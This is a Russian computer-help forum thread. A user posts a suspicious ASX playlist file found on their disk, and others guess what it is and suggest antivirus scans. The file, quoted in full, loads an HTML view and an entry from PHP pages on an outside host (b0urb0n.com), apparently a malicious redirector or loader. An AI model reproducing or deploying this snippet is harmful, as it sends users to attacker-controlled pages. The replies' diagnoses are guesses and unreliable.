Троян?

[tenx]

Троян?

<ASX version = "3.0">
<PARAM name="HTMLView" value="http://b0urb0n.com/slv/bcde7fc4139d3be3c9fbd03639027898.php?showuser=13696835&view=Chrome&showforum=08"/>
<TITLE>Hello World!</TITLE>
<AUTHOR>Rasmus</AUTHOR>
<ENTRY>
<REF HREF="http://b0urb0n.com/slv/1accdcd3f21f57a8dc2dc88b26966bc0.php" />
</ENTRY>
</ASX>

Нашел у себя php файл с таким содержанием!НЕ подскажите что он делает

 

[Max]

Где нашли (директория)? Какая ОС?

 

[tenx]

НА Диске D.D основной директории...странно даже как то

 

[Eli]

вы не заходили может на сайты юкоза до того?

антивирусом проверили файл \ пк?


хотя мне кажется что это код скрипта, для вставки на сайт.... который вы сами скачали...

 

[Max]

Удалять пробовали?

 

[tenx]

Удалил.Нет это не мое.а на юкозы заходил конечно.Их же куча

 

[Max]

На вирусы проверяли? Dr.Web CureIt! — скачать антивирус бесплатно! Лечение вирусов, Лучший бесплатный антивирус!

 

[Eli]

тогда возможно вирус - ( кстати это мог не троян а блокиратор оказаться - если с юкоза)

 

[tenx]

Сам файл нодом проверил.ниче не нашел.и комп просканировал

А что он делает?Я чтото не очень понимаю.

 

[Max]

Файл удалил, вирусов нет, тогда в чем проблема?

 

[Eli]

А что он делает?Я чтото не очень понимаю.

это трудный вопрос - или это скрипт ( не понятно откуда скачанный - или все же вы что то делали с скриптами ) или вирус..
если бы вы знали откуда он, то это легче было бы понять что и как...



Вирус \ Плагин блокировщик может заблокировать вашу систему - и просить СМС для разблокирования.. (ЗНАКОМО?)

 

[tenx]

Больно просто все...

Олег, Знаком

Недавно тему создавал зайдите и посмотрите http://www.tehnari.ru/f23/t38190/

 

[Eli]

это как то относится к этой проблеме?

 

[Dram]

скрипт посылает на страничку на которой открывается якобы какая то трансляция..и попутно пытается запустить несколько процессов на компе(запускать их я не решился ) .....Еще кидает под сомнение надпись "Hello World" прям как будто первый раз в жизни написали скрипт но это явно не так..

 

[tenx]

Все ясно

Сегодня, 15:51 #13 (permalink)
Олег
Так и относится что там какой то код странный в реестре.После удаление появляется заново при загрузку винды

 

[AlexZir]

Этот код содержит переадресацию на другую страницу, где может быть всё, что угодно (зависит от автора). Если вы не переходили на нее - вряд ли ваши проблемы с этим php-файлом связаны.